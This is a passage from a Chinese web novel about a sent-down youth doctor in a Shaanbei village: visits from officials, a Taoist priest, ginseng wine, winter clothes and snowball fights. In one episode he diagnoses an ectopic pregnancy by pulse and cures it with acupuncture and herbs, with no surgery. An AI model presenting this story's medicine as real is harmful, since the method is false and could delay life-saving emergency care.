两瓶特供茅台,两条没见过的白壳香烟,一包用油纸裹得严严实实的点心,甚至还有一袋沉甸甸的,不知是什么的精白大米。 几人在屋里坐定,张小月端上热气腾腾的茶水。 周胜利捧着粗瓷碗,吹了吹热气,目光却在打量这间简陋却干净的土坯房,最后落在江沐身上,感慨万千,“江沐同志啊,你这身本事,窝在这穷山沟里,真是屈才了!” “老爷子说笑了,在哪儿都是为人民服务。”江沐淡然一笑,给众人续上水。 接下来,便是天南地北的闲聊。 从公社的收成,聊到京城的见闻,杨小军唾沫横飞地讲着滋补丹的销量,周胜利则时不时插上几句,言语间虽是家常,却总透着一股不凡的见识。 眼看日头偏西,这几位贵客丝毫没有要走的意思。 江沐心中了然,对张小月递了个眼色,“小月,准备做饭吧。” “好!” 张小月刚起身,院外突然传来一阵骚动,正是虎虎和生威回来了。 更让人瞠目结舌的是,虎虎的嘴里叼着一只还在蹬腿的肥硕野兔,而生威的嘴里,竟拖着一只色彩斑斓的野鸡! “嚯!” 周胜利一下站了起来,快步走到门口,一双眼睛死死地盯着院子里的两条大狗。 “这……这是什么狗?!”他失声惊呼,“个头快赶上狼崽子了!比军区里养的那些藏獒还要威风!” 此刻的虎虎和生威,经过这段时间的滋养和山林间的磨砺,体型愈发健硕,毛色油光水滑,站在那里自有一股山林王者的气魄。 江沐跟了出来,拍了拍虎虎的脑袋,后者亲昵地蹭了蹭他的裤腿。 “就是普通的土狗。”江沐随口解释,“不过听村里老人说,它俩的爹是头狼。” “狼种?怪不得!”周胜利恍然大悟,“这股子悍不畏死的气势,真像!让我想起当年解放西藏的时候,队伍里养的那些藏獒,也是这般模样,面对雪豹都敢冲上去撕咬!” 话题一下子就被拉到了遥远的雪域高原,拉到了那段战火纷飞的峥嵘岁月。 周胜利的话匣子彻底打开了,从翻越雪山的艰难,到与敌人的殊死搏斗,再到藏民的淳朴与信仰。 他讲得是那段历史,眼中闪烁的,却是整个青春的火焰。 厨房里,饭菜的香气混合着院子里淡淡的血腥味,飘散开来。 张小月很快就端上了菜,一盘红烧兔肉,一锅野鸡炖蘑菇,再加上几个家常小菜,摆了满满一桌。 “开饭!” 众人落座,气氛比刚才更加热烈。 周胜利喝着江沐拿出来的茅台,吃着鲜美的野味,兴致高昂。 酒过三巡。 周胜利放下酒碗,脸色一正,终于说到了正题。 “江沐同志,这次来,除了感谢你,其实还有个不情之请。” 江沐心中了然,静待下文。 “我那些老伙计,当年在战场上都是一身的伤,现在老了,毛病全找上门了。”周胜利的声音沉了下去,“听说你把我从鬼门关拉了回来,都动了心思,想请你给瞧瞧。他们的情况……比我当初好不到哪去。” 来了。 江沐放下筷子,神情平静,“救死扶伤,是医生的本分。只要信得过我,我自然义不容辞。” “不过……”江沐话锋一转,“我是下乡知青,有纪律,不能擅自离开青莲公社。所以,如果真要看病,得让他们亲自来这儿一趟。” 这既是原则,也是一种姿态。 周胜利闻言,没有丝毫犹豫,一拍大腿,“就该这样!就该让他们来!想活命,就得拿出诚意来!没问题!” 他眼中闪过赞许,这年轻人不卑不亢,有本事,更有规矩。 “江沐同志,你放心。”周胜利继续道,“多一个人,就多一条门路。我那些老伙计,别看现在一个个病怏怏的,当年可都不是省油的灯。你帮了他们,就是他们所有人的恩人。” 这已经不是简单的看病了,这是一份沉甸甸的人情。 事情谈妥,周家人便准备告辞。 临上车前,周胜利又拉着江沐的手,再三叮嘱,“等我消息,我尽快安排!” 江沐点点头,“老爷子,您也多保重,记住,静养为上。” “知道了知道了,你比我们部队的卫生员还啰嗦!”周胜利嘴上抱怨着,脸上却笑开了花。 周大强也凑了过来,“江沐兄弟,我……我年底前结婚,你要是有空,一定得来喝杯喜酒!” “一定到。”江沐干脆地应下。 吉普车扬起一阵尘土,消失在山路的尽头。 院子里又恢复了宁静。 张小月望着那堆积如山的礼物,小声地问,“江沐哥,他们……他们到底是干啥的呀?看着好厉害的样子。” “应该是些大官吧。”江沐的目光深邃,“还记得你玖博哥的工作吗?就是之前来的那位马忠文马老一句话给安排的。这些人,能量比马老只大不小。” 张小月似懂非懂地点了点头,心里对江沐的敬畏又深了一层。 江沐清点了一下礼物,将烟酒米面都收进屋里,那包点心则直接塞给了张小月。 “拿着吃,别省着。” 交代完,他便准备去村里的卫生室看看。 毕竟那才是他名义上的工作单位。 刚走出院门,拐上通往村中心的路口,迎面就撞上了一个人。 是高建设。 第113章 双魂共体,龙潜于渊 高建设的脸上,此刻正洋溢着狂喜,他几步冲到江沐跟前,大手拍在江沐的肩膀上。 “江沐兄弟!大喜事!天大的喜事!” 他的嗓门洪亮,震得人耳朵嗡嗡作响。 江沐不动声色地稳住身形,眉梢微挑,“看你这满面红光的样子,是捡到金元宝了?” 高建设凑近了些,压低了声音,“我老丈人给我在县里电影放映社弄了个放映员的活儿!铁饭碗!吃公家饭的!” 在这个年代,这无疑是一步登天。 江沐眼中也闪过讶异,随即化为真诚的笑意,“那可得好好恭喜你了。这是好事,大好事。” “那可不!”高建设用力点头,“江沐兄弟,这事儿我第一个就想告诉你!今儿晚上,说啥也得到我家喝一盅!我让你嫂子整几个好菜,咱们不醉不归!” “行。”江沐干脆利落地点头 傍晚时分,江沐拎着用网兜装着的两瓶茅台,身边跟着提着一小篮子鸡蛋的张小月,踏进了高建设家的小院。 高家的新房里,已经飘出了浓郁的肉香。 高建设的媳妇李莹正系着围裙在灶台前忙活,看见江沐和张小月,连忙擦了擦手迎上来。 “江沐兄弟,小月,快屋里坐!” 桌上已经摆好了几样小菜,一盘花生米,一碟拍黄瓜,还有一盘色泽诱人的红烧肉。 “嫂子好手艺,闻着就香。”江沐将酒放在桌上,毫不吝啬地夸赞。 很快,菜肴上齐,四人围桌而坐。 茅台的酱香在小小的土屋里弥漫开来,气氛热烈而融洽。 酒过三巡,高建设的话匣子彻底打开了。 “江沐,你还记得我结婚那天,林有乐那小子挂彩的事儿不?” 江沐点点头,那天的混乱场面还历历在目。 “他妈的!”高建设狠狠啐了一口,“那汤根本就不是意外溅出去的!是我媳妇那个堂哥,他故意搞的鬼!” 李莹在一旁拉了拉他的衣袖,脸上有些尴尬,但并没阻止。 “就为了这个放映员的工作!”高建设越说越气,“这活儿本来我老丈人想给他安排的,可那小子手脚不干净,在公社仓库偷拿过东西,名声臭了!我老丈人这才把机会给了我。他倒好,心里不平衡,就在我婚礼上使绊子,想让我下不来台!” 江沐恍然大悟,原来其中还有这等缘由。 高建设一仰头,将杯中酒一饮而尽,重重地把杯子顿在桌上,“一群上不了台面的东西!” “行了,别提他们了。”李莹终于开了口,“他爹娘也不是什么好东西,为了这事还上我家闹过。以后咱家的门,他们别想再进!这亲戚,不认也罢!” 这话一出,高建设反倒愣了一下,随即眼圈一红,握住了媳妇的手。 江沐看在眼里,心中暗暗点头。 这李莹看着文静,却是个拎得清、有决断的女人。 高建设算是娶对人了。 这个不愉快的话题被揭过,桌上的气氛重新热烈起来。 酒杯碰撞,笑语喧哗,直到月上中天,酒意酣然,江沐和张小月才告辞离去。 这一觉,江沐睡得格外沉。 再睁眼时,窗外的太阳已经明晃晃地挂在头顶,刺得他眼睛都有些睁不开。 宿醉的头疼让他皱了皱眉,晃晃悠悠地坐起身,才发现已经是第二天中午了。 屋子里静悄悄的,张小月不在。 但灶台上的锅里,却用小火温着饭。 江沐揭开锅盖,一股小米粥的清香扑面而来,旁边还放着两个白面馒头和一小碟咸菜。 一股暖流,无声地淌过心间。 他吃完饭,刚把碗筷收拾好,院门被推开,张小月跑了进来。 “江沐哥,江沐哥!山上的道士下山化缘了,正在村里挨家挨户地走呢!” “道士?”江沐有些诧异。 这个破四旧的年代,牛鬼蛇神都被打倒了,竟然还有道士敢这么明目张胆地出来活动? “是呀!”张小月用力点头,气息还有些不匀,“咱们这后山上有个青云观,观里的老道长每年秋收后都会下山化缘。村里人都信他,说他可灵了!今年,他还带了个小徒弟下来呢,看着也就七八岁的样子。” 说着,张小月又想到了自己小时候,“我小时候发高烧,烧得人都说胡话了,卫生室的赤脚医生给打了针也不管用。我娘急得没办法,就背着我上青云观求了一碗符水。说来也怪,喝下去没多久,人就清醒了,烧也退了。” 听到符水二字,江沐陷入了沉思。 他想起了自己的童年。 那时的他身体也不好,有一次大病,昏迷不醒。 家里人也是请来了一个游方的老道士,在他床前设坛、摇铃、念念有词,说是叫魂。 神奇的是,仪式过后没两天,他的病竟然真的好了。 正思忖间,院门口传来一阵轻微的脚步声。 一个身穿洗得发白的蓝色道袍、鹤发童颜的老道士,牵着一个梳着总角、眉清目秀的小道童,正站在门口,手里拿着一个拂尘,安静地看着院内。 “快!”江沐立刻回过神来,对张小月吩咐,“去屋里,装一小袋米,再把早上蒸的馒头拿十个出来。” “啊?十个?”张小月吓了一跳,白面馒头可是精贵东西,一般人家给一两个意思一下就顶天了。 “去吧。” 很快,张小月提着一个沉甸甸的布袋子走了出来。 江沐亲自接过来,递到老道士面前。 老道士看着那鼓鼓囊囊的袋子,特别是从袋口露出的那一片雪白的馒头,十分震惊。 这手笔,太大了。 “无量天尊。”老道士稽首行礼,声音清朗,“福生无量,居士好大的善心。只是贫道师徒二人,受用不起这般厚赠。” “道长不必客气。”江沐淡然一笑,“一点心意罢了,还请收下。” 见江沐态度坚决,老道士沉默片刻,最终还是接了过来,分量之沉,让他清瘦的手臂微微一坠。 他看了一眼江沐,又扫了一眼院子角落里那片被江沐精心侍弄的药圃。 “居士慈悲为怀,贫道无以为报。” 老道士的目光落在那几株人参上,缓缓开口,“只多嘴一句。天之道,损有余而补不足。居士这几株参苗,种得太过密集,不若……忍痛拔去几株,留下的,方能气足神完。” 说完,他再次稽首,便牵着一脸懵懂的小道童,转身缓缓离去。 江沐走到药圃前,蹲下身,果然发现那几株人参的根系已经开始盘根错节。 他伸手,拔掉了其中长势最弱的两株。 而在通往村外的土路上,小道童仰着头,好奇地拉了拉老道士的衣袖。 “师父,您刚才为啥盯着那个大哥哥看了那么久呀?” 老道士脚步一顿,没有回答。 他从怀中摸出三枚古旧的铜钱,随手往空中一抛,待铜钱落下,他低头看了一眼卦象。 他浑浊的眼中精光一闪而逝,手指飞快地掐算着,口中喃喃自语。 “双魂共体,龙潜于渊,一魂照世,一魂遮天……怪哉,怪哉!天机混沌,贫道竟……竟看不透!” “师父,啥是双魂共体呀?”小道童似懂非懂地追问。 “此乃天机,不可泄露!” 第114章 这要是再长个几年,还不得成精 江沐深吸一口气,强行压下心头的震动,目光重新落回那片药圃。 他将那两株被拔出的人参小心翼翼地捧在手中,泥土的芬芳混杂着草木的清气扑鼻而来。 他用手指轻轻拂去根部的泥土,震惊。 这人参,从种下到如今,满打满算不过半年光景,可看这品相、这须根的长度和韧性,竟赫然有了将近五年的参龄! 根茎饱满,形态初具,一股淡淡的药香已经沁入心脾。 “乖乖,这黑土地也太猛了!” 江沐心中震撼,这片土地的肥沃程度,远远超出了他的想象。 这要是再长个几年,还不得成精? 如此好物,自然不能浪费。 江沐脑中灵光一闪,一个念头浮现出来——泡酒! 用这年份十足的人参,配上几味温补的药材,泡上一罐十全大补酒,在这缺医少药的年代,既能强身健体,关键时刻还能当救命的宝贝使。 说干就干。 他转身进了屋,从床底下那个破旧的木箱里,翻出几张皱巴巴的票证和几块钱,直奔公社的供销社。 供销社里还是那副老样子,货架上稀稀拉拉,售货员耷拉着眼皮,一副爱答不理的模样。 江沐也不在意,直截了当地指着柜台后蒙着一层灰的大玻璃罐子。 “同志,这罐子咋卖?” “一个一块五,要票。”售货员眼皮都没抬一下。 “行,给我来两个。” 江沐爽快地递上钱和票。这价格不便宜,顶得上一个壮劳力好几天的工分了,但对他来说,物有所值。 抱着两个沉甸甸的大玻璃罐子回到家,他又从自己那个宝贝药箱里翻翻拣拣,黄芪、当归、枸杞、杜仲……一样样药材被他分门别类地摆放在桌上,整个屋子瞬间被一股浓郁的药香所笼罩。 一切准备就绪,江沐又从墙角搬出一箱标签都磨掉了的木箱子,里面是清一色的白瓷瓶。 他撬开一瓶,一股辛辣、醇厚的酒香瞬间炸开。 六十度的纯粮食酒,入口如火烧,后劲十足,正是泡药酒的绝佳选择。 他将处理好的人参小心地放入罐底,再按照君臣佐使的配伍,依次将其他药材一一放入。 这架势,引得张小月和隔壁几个闲着没事干的大娘都凑了过来,围在门口伸长了脖子往里瞧。 “江沐,你这是捣鼓啥呢?”隔壁的刘春花婶子嗓门最大,扯着嗓子问。 江沐头也不抬,专注于手上的活计,“泡点药酒,强身健体。” “药酒?”刘春花一脸新奇,“俺活了半辈子,只见过拿蛇、拿蝎子泡的,还没见过拿这些干草根泡的哩!” 江沐淡然一笑,也不解释,提起酒瓶,将清澈的酒液倒进玻璃罐中。 众人伸着脖子看了一会儿,发现就是往罐子里放点东西再倒上酒,翻来覆去也就这点事,顿时觉得索然无味,嘀咕着没啥看头,便三三两两地散去了。 江沐将两个玻璃罐子用油纸和细绳密封得严严实实,然后小心地搬到西边的土炕上。 炕头常年有余温,正好能促进药效的析出。 做完这一切,他心中升起一股满足感。 然而,天有不测风云。 好日子没过几天,一股强冷空气毫无征兆地席卷了整个陕北高原。 一夜之间,气温骤降,屋檐下都挂上了一指长的冰溜子。 江沐来的时候,只想着这边干燥,却没料到这初冬的寒冷竟如此刺骨。 他带来的行李里,最厚实的也不过是一件半旧的毛衣。 此刻,那点微薄的暖意在穿堂而过的寒风面前,简直不堪一击。 他面上依旧平静,只是双手总是不自觉地揣在兜里,脸色也比往常苍白了几分。 这点细微的变化,却没能逃过张小月的眼睛。 这天吃饭的时候,她看着只穿一件单薄毛衣的江沐,终于忍不住了。 “江沐哥,你就穿这个?你不冷吗?这天都能冻死狗了!” 江沐夹菜的手一顿,随即若无其事地扒了口饭,“还行,城里比这儿还冷呢,习惯了。” “你骗人!”张小月把筷子往桌上重重一拍,又急又气,“你连件棉衣棉裤都没有,是不是!” 江沐沉默了。 他确实没有。 继母苏红霞给他收拾行李的时候,嘴上说得好听,什么都准备了,可打开一看,全是些春秋的单衣,连条秋裤都没有。 她的心思,昭然若揭。 看到江沐默认,张小月眼圈一红,二话不说,拉起他的手就往外走。 “你干嘛去?” “跟我回家!” 一路顶着寒风,两人很快就到了张家。 张峰和刘桂芝两口子一看到江沐的穿着,脸色顿时就变了。 “哎哟我的天!”刘桂芝一把将江沐拉进屋,摸着他冰凉的手,又心疼又生气,“小月!你这丫头咋回事!江沐没棉衣,你咋不早说!想把他冻坏了不成!” 张小月被训得低下头,小声辩解,“我……我今天才发现……” “别说她了。”张峰是个实在人,直接一拍大腿,“这事儿好办!媳妇,咱家不是还有点新棉花吗?赶紧给江沐做一身!” “哪够啊!”刘桂芝白了他一眼,“那点棉花给小月做个棉坎肩还差不多。你赶紧的,去你松山哥家借几斤棉花,就说开春了咱收了新棉花就还他!” “欸,我这就去!”张峰应了一声,套上袄子就一阵风似的冲了出去。 刘桂芝则手脚麻利地找来布料和皮尺,不由分说地开始给江沐量尺寸。 “江沐,别嫌弃妈手艺糙。” 江沐他连忙摆手,“妈,不用那么麻烦,随便塞两斤棉花就够了,真的。我在城里冬天也这么穿,不冷。” “净说胡话!”刘桂芝眼睛一瞪,手上的动作却温柔得很,“城里那是楼房,不透风!咱这土坯房四处漏风,能一样吗?听妈的,做厚实点,不受罪!” 她说着,又从炕上拿起两双崭新的棉鞋,鞋底纳得密密实实,鞋面是喜庆的红色灯芯绒。 “来,你跟小月一人一双,试试合不合脚。我早就做好了,就等天冷了给你们穿。” 就在这时,张峰跑了回来,手里抱着一大包用布裹着的棉花,咧着嘴笑。 “借来了!松山哥一听是给江沐做衣服,二话没说就给我装了五斤!” 他把棉花往炕上一放,搓了搓手,又想往外走。 “你又干啥去!”刘桂芝一把拉住他,没好气地,“江沐和小月好不容易回来一趟,你屁股上长钉子了?就不能在家陪着说说话?没个正事!” 张峰一脸的无奈,摊了摊手,“现在地都上冻了,硬得跟石头似的,药材也挖不了。不出去逛逛,在家里能干啥?” 第115章 保住你的命,才是最重要的事 刘桂芝一听这话,手里的布料往炕上一拍。 “嘿!你个张峰,还真当自己是甩手掌柜了?家里没活儿,就不会自个儿找活儿?这么大一包棉花,不要弹了?等着它自个儿变松软?” 她一番话噎得张峰哑口无言,只能嘿嘿傻笑,挠着后脑勺。 “弹!这就去弹!”他立马来了精神,一把抄起炕上的棉花包,扭头就冲江沐喊,“江沐,走!爸带你去见识见识咱村的神器!” 江沐还没反应过来,就被张峰拽出了门。 两人来到村西头的张勇家,院子里却静悄悄的。 “勇子!勇子!”张峰扯着嗓子喊了两声。 一个五十多岁、背着手的老汉从屋里走出来,是张勇他爹张余庆。 老汉眯着眼打量了他们一下。 “喊啥喊,勇子跟他媳妇回娘家了。” 张峰一听,也不见外,直接把棉花包往院里的石磨上一放,“哥,那正好,你给俺们帮帮忙。这是给江沐做棉衣的棉花,麻烦你给弹弹。” 张余庆浑浊的眼睛在江沐身上扫了扫,看到他单薄的毛衣,点了点头,没多话。 “放那吧,弹好了我让勇子给你们送过去。” “得嘞!谢了哥!” 事情办得干脆利落,回程的路上,张峰的目光被江沐停在院门口的自行车给吸引住了。 他绕着车子转了两圈,又是摸摸车把,又是按按车铃,眼里的羡慕藏都藏不住。 “江沐,这玩意儿……好骑不?” 江沐心中一动,淡然一笑,“不难,我教你?” “真的?!”张峰的眼睛瞬间就亮了,“那感情好!快,咋弄?” 江沐扶着车后座,简单讲解了要领。 张峰人高马大,平衡感也好,在江沐的帮助下,不出十分钟,他已经能自个儿骑着车在院子前的空地上兜圈子了。 “媳妇儿!小月!快出来看!”张峰一脚刹车停在门口,冲着屋里扯开嗓门炫耀。 刘桂芝和小月闻声出来,看到张峰那副得意洋洋的德性,刘桂芝是又好气又好笑,上去就拧了他胳膊一把。 “看把你给能的!尾巴都要翘上天了!刚学会就咋咋呼呼,摔你个狗吃屎!” 张峰也不躲,任由她拧着,脸上笑得更灿烂了,“媳妇儿,上来!我带你去兜兜风!让你也感受一下这铁马的厉害!” “去你的!”刘桂芝脸颊一红,啐了他一口,“没个正形!江沐和小月还看着呢!” 话是这么说,可她眼里的笑意却出卖了自己。 张峰哪里肯放过,厚着脸皮继续央求。 两人就在门口你推我搡,打情骂俏,那股子亲昵劲儿,看得一旁的张小月都捂着嘴偷笑。 江沐静静地看着,这才是家的感觉吧,吵闹,真实,却又温暖得烫人。 天色渐晚,一家人围着热气腾腾的饭菜,气氛正好。 约莫九点多,院门“吱呀”一声被推开,张玖博的媳妇林秋红牵着儿子张小虎回来了。 “嫂子,你回来啦!”张小月立刻迎了上去,关切地拉住她的手,“咋样了?去县里医院,医生咋说的?” 林秋红脸上挤出笑容。 “没啥大事,就是……就是有点妇科上的毛病,女人家常有的。医生给开了点药,吃吃就好了。” 她说着,下意识地用手捂了捂小腹。 然而,她这细微的动作和苍白的脸色,却没能逃过江沐的眼睛。 他那双阅尽无数病患的眸子,只一眼,便察觉到了不对劲。 这绝不是简单的妇科炎症该有的气色! 张小月心思单纯,没想那么多,一听嫂子身体不舒服,立刻想到了江沐。 她把林秋红拉到江沐面前,满眼期待。 “江沐哥!你医术那么厉害,快帮我嫂子看看!县里医院的医生有时候看病可马虎了!” 林秋红顿时一脸窘迫,连连摆手,“不用不用!小月你别胡闹!我这……我这是女人的病,哪能让江沐兄弟一个大男人看,不合适!” 江沐神色却异常平静,他站起身,语气温和而专业。 “嫂子,医者面前,不分男女。你若信得过我,让我为你把个脉就行。” 林秋红犹豫了片刻,终究还是伸出了手腕。 屋子里瞬间安静下来,所有人的目光都聚焦在江沐搭在林秋红手腕上的三根手指。 时间一分一秒地过去。 江沐的眉头,从舒展,到微蹙,再到拧成一个川字。 “江沐,咋了?是不是……很严重?”张峰察觉到气氛不对,紧张地问了一句。 江沐缓缓收回手,深吸一口气,抬眸看向林秋红。 “嫂子,你这不是普通的妇科病。” 他顿了顿,目光扫过众人紧张的脸,最终还是决定说出真相。 “你这是宫外孕。” “宫外孕?” 这个陌生的词汇让在场的所有人都愣住了,满脸茫然。 江沐没有卖关子,用最通俗易懂的语言解释起来:“简单说,就是孩子没在子宫里好好待着,跑到输卵管里去了。输卵管根本承受不住胎儿的长大。一旦胎儿把输卵管撑破,就会造成肚子里大出血,到时候……神仙也难救!” 林秋红身体一晃,险些栽倒。 张峰和刘桂芝也吓得魂飞魄散,刘桂芝一把扶住摇摇欲坠的林秋红,声音都开始发颤。 “大出血……会死人?!江沐,你……你没看错吧?县医院的医生只说是炎症啊!” “他们恐怕是误诊了。”江沐笃定,“嫂子脉象滑而弦急,是典型的胎元不固、异位着床之兆!绝不会错!” 这一刻,没人再怀疑他的判断。 “那……那可咋办啊!”林秋红带着哭腔,死死抓住江沐的胳膊,“江沐兄弟,求求你,救救我!我……我不想死啊!” 江沐反手稳住她的情绪。 “能治!” 他沉声部署:“从今天起,我每天为嫂子针灸,用金针封住血脉,让胚胎停止发育,自行萎缩。同时,再辅以活血化瘀、固本培元的中药调理。只要我们发现得早,就不用开刀。” 听到不用开刀,众人松了口气,但林秋红的眼泪却掉了下来,她抚摸着自己的小腹,满心不舍。 “那……我的孩子……” 江沐看着她,眼中闪过不忍,但语气依旧理智。 “嫂子,你必须明白,这个胚胎,要不得。它长错了地方,留着它,就是拿你的命在赌。你们还年轻,先把身体养好,将来有的是机会要一个健康的孩子。保住你的命,才是最重要的事!” 第116章 我们现在是要把这片土地保住 刘桂芝是第一个从震惊中回过神来的,她看着林秋红失魂落魄的模样,上前紧紧握住她的手。 “秋红,听江沐的!孩子没了,咱还能再生!人要是没了,可就啥都没了!你年轻,身子养好了,以后有的是娃!” 她的话糙理不糙,是庄稼人最朴素的道理。 可林秋红哪里听得进去,她捂着小腹,整个人沉浸在巨大的悲恸之中,喃喃自语:“我的孩子……我都有孩子了……怎么就……没了……” 对于这个年代的农村妇女来说,腹中的骨肉就是天,是全部的指望。 江沐看着她悲痛欲绝的样子,心中微叹。 他理解,却不能任由情绪毁掉理智。 他上前一步,“嫂子,冷静点。从医理上讲,它现在还不能算是一孩子,只是一个错误着床的胚胎。它就像一颗长错地方的种子,非但结不出果实,还会毁了整片土地。我们现在是要把这片土地保住。” 张小月也赶紧凑过来,搂住林秋紅的肩膀,柔声劝慰:“是啊嫂子,你别多想了,听江沐哥的,他肯定能治好你!以后你身子有哪儿不舒坦,就来找江沐哥,可不敢再自个儿硬扛着了!” 在众人的轮番劝说下,林秋红的哭声渐渐小了。 江沐见状,知道时机差不多了,便对刘桂芝点了点头:“妈,事不宜迟,我得马上去一趟公社卫生所,抓几副药回来。你们先陪着嫂子聊聊。” “哎!好!快去!”刘桂芝如蒙大赦,转身就往里屋冲,片刻后拿着一沓毛票和粮票出来,硬往江沐手里塞,“江沐,拿着!抓药、买东西,都算妈的!不够你再开口!” 江沐眉头一皱,下意识地推了回去。 “妈,这使不得。我只是尽一个医生的本分。” “啥本分不本分的!你这是救了我儿媳妇的命!”刘桂芝柳眉一横,态度强硬,“你要是不收,就是看不起我们张家人!这病我们就不治了!” 这简直就是耍无赖,可这无赖耍得却让人心头发暖。 江沐无奈苦笑。 他知道,再推辞下去,反而伤了这份淳朴的情谊。 他从那沓钱里抽出几张毛票,估摸着五块钱左右。 “婶子,药钱用不了这么多,这些就够了。剩下的,您快收回去。” 刘桂芝见他收了钱,脸上这才露出笑容,也不再强求,爽快地把剩下的钱揣回兜里。 江沐转身出门,刚走没多远,就看到从外面跑回来,一进院子就感觉气氛不对劲。 “咋了这是?一个个愁眉苦脸的,秋红,你眼睛咋红成这样?” 刘桂芝叹了口气,把事情原委一五一十地跟他学了一遍。 张峰听完,一个箭步冲到林秋红面前,声音都有些发抖:“秋红,你……你可千万别犯傻!江沐说得对,命最重要!留得青山在,不怕没柴烧!” 有了自家男人的劝慰,林秋红的情绪总算彻底稳定了下来。 江沐脚程快,在公社卫生所开了方子,又用系统里的声望值兑换了几味年份更好的药材,取了自己存放在那里的银针,紧赶慢赶,回到张家时,墙上的挂钟时针已经指向了十一点。 他没多废话,直接对刘桂芝安排:“婶子,麻烦烧一锅热水,再准备些干净的布巾。嫂子,你到里屋炕上躺好。” 众人立刻行动起来。 江沐走进里屋,将门帘放下,屋内的光线顿时暗了下来。他点燃一盏煤油灯。 屋外,张峰、刘桂芝和张小月焦急地等待着。 时间一分一秒地流逝。 终于,门帘被掀开,江沐走了出来,额头上渗着一层细密的薄汗。 “好了。” 他声音不大,却让门外的三人齐齐松了口气。 “江沐,咋样了?”张峰第一个迎上去。 “针已经取了。胚胎的生机已经被暂时封住,接下来就是靠汤药化解。这样的针灸,每天一次,要连续扎一个礼拜,一天都不能断。” 刘桂芝掀开门帘探头进去,只见林秋红已经醒了,正手忙脚乱地整理着衣裳,脸上红得能滴出血来,眼神躲闪,不敢看江沐。 在这个保守的年代,让一个大男人在自己身上扎针,尤其还是在小腹那样的私密位置,对她来说,羞赧远大于病痛。 江沐神色坦然地从药包里分拣出今天的药量,详细交代了熬药的火候和方法,才对张小月招了招手。 “走吧,我们先回去。” 下午,林秋红的丈夫张玖博回来,听闻妻子在鬼门关走了一遭,吓得魂飞魄散,拉着江沐的手,一个劲儿地道谢,眼圈都红了。 第二天一大早,天刚蒙蒙亮,江沐和张小月正准备吃完饭就过去,院门却被敲响了。 打开门,竟是林秋红自己找了过来。 “嫂子?你怎么过来了!”张小月又惊又喜,“我们正说要过去呢!” 林秋红有些不好意思地笑了笑,脸色虽仍苍白,但精神头明显比昨天好了不少,“哪能老让江沐兄弟来回跑,太麻烦了。我自个儿走过来,就当是活动活动筋骨了。” 江沐点点头,这说明她的求生欲和心气儿都回来了。 没有多余的客套,他直接领着林秋红进了自己的房间施针。 针灸完毕,江沐出了门,便听到里屋传来姑嫂俩的悄悄话。 “小月,你说……江沐兄弟城里来的,咋啥都会?连这要命的病都能治,比县医院的医生都厉害!” “那是!我江沐哥可神了!嫂子你就安心养着吧!” 江沐嘴角微不可察地扬了扬,转身走进了厨房。 接下来的一个礼拜,林秋红风雨无阻,每天准时过来扎针、取药。 她的气色也以肉眼可见的速度一天天好转起来。 一周后,江沐为她做了最后一次针灸,然后再次搭上了她的脉搏。 片刻后,他收回手,脸上露出了笑容。 “没事了。脉象已经平稳,淤血也化解得差不多了。接下来只要按时把剩下的药吃完,把身子底子一次性调理好,以后……还能再要孩子。” 最后那句话,让林秋红瞬间红了眼眶,她激动得站起身,对着江沐深深地鞠了一躬。 “江沐兄弟,谢谢你!你就是我的救命恩人!” 二十号这天早晨,江沐一推开门,一股夹杂着雪花的寒风扑面而来。 下雪了。 他呼出一口白气,没有丝毫懒怠,就在院子里打了一套拳,活动开筋骨,只觉得浑身都暖洋洋的。 张小月很快也过来了,看到满院的积雪,惊呼一声,便麻利地钻进厨房生火做饭。 江沐则拿起扫帚,开始清扫院子里的雪。 扫着扫着,他的目光落在了墙角的狗窝上。 虎虎和生威两只半大的土狗正挤作一团,冻得瑟瑟发抖。 江沐心里一动,停下了扫雪的动作。 “小月,等吃完饭,我们找点旧布和稻草,给虎虎和生威做个厚实的门帘挡挡风吧。” 第117章 你这是捅了孩子窝了? 正屋的厨房里,张小月麻利地往灶膛里添了一把柴,火光映得她脸颊红扑扑的。 她刚应了江沐一声,准备去翻找旧棉布,一抬头,却透过门缝看到院子里有些反常的一幕。 江沐不知何时已经扫完了雪,正背对着她,弯腰在雪地里鼓捣着什么。 他面前,虎虎和生威两只土狗警惕地弓着背,尾巴夹得紧紧的。 下一秒,江沐猛地直起身子,手中赫然多了一个拳头大的雪球。 他手臂一扬,那雪球不偏不倚,正中虎虎的脑门。 雪花四溅。 虎虎懵了,原地愣了足足两秒,才反应过来自己被偷袭了。 它猛地一甩头,抖掉头上的雪沫子,随即和旁边的生威对视一眼,两只狗齐齐冲着江沐发起了冲锋。 “汪!汪汪汪!” 那叫声里哪里还有半分刚才受冻的可怜样。 江沐哈哈大笑,不退反进,手下飞快地又团了两个雪球,一边躲闪着两只狗的围攻,一边精准地进行着反击。 “江沐哥!你幼不幼稚!” 张小月终于看不下去了,叉着腰站在厨房门口,哭笑不得地嗔了一句。 江沐的动作一顿,虎虎和生威立刻抓住机会,一左一右地扑了上来,却没咬他,只是用脑袋一个劲儿地往他腿上蹭。 紧接着,它们像是找到了主心骨,颠儿颠儿地跑到张小月脚边,又是摇尾巴又是扒裤腿,仰着脑袋告状。 江沐看着这俩叛徒,无奈地摊了摊手,脸上却满是笑意。 早饭后,江沐惦记着给狗窝做门帘的事,跟张小月打了声招呼,便独自出了院门。 刚走出没多远,村口那片开阔的雪地上就传来了一阵阵清脆的欢笑声。 十几个半大的孩子正聚在那里打雪仗,为首的正是大队长李有柱的孙子,鹏飞。 江沐看得有趣,正准备绕过去,冷不防后脖颈一凉。 一个结结实实的雪球在他后领窝里炸开,冰冷的雪渣顺着衣领滑进背心,激得他一个哆嗦。 孩子们瞬间安静下来,所有目光都聚焦在他身上。 鹏飞手里还保持着投掷的姿势,见自己打中了,先是一愣,随即咧开嘴,露出一个得意的神情。 江沐缓缓转过身,面无表情地伸出手,从后脖颈里摸出一把雪。 他没说话,只是弯下腰,慢条斯理地团了一个比鹏飞的雪球大上两圈的雪团,然后掂了掂,目光锁定了鹏飞。 鹏飞心里暗道不好,转身就跑。 “打他!江沐知青欺负人啦!” 不知是谁喊了一嗓子,原本还有些畏惧的孩子们瞬间被点燃了战意,纷纷抓起雪球,铺天盖地地朝着江沐砸了过来。 江沐暗骂一声,拔腿就跑。 他快,孩子们更多。 他刚躲开左边的攻击,右边就飞来一个雪球。 好不容易还击了一个,后背又接连中了好几下。 更可气的是,不知何时从家里跟出来的虎虎和生威,竟也毫不犹豫地加入了讨伐他的阵营,追在他屁股后面汪汪直叫,给他平添了无数压力。 “哈哈哈,江沐知青快跑!” “鹏飞,砸他腿!” “二丫,你从那边包抄!” 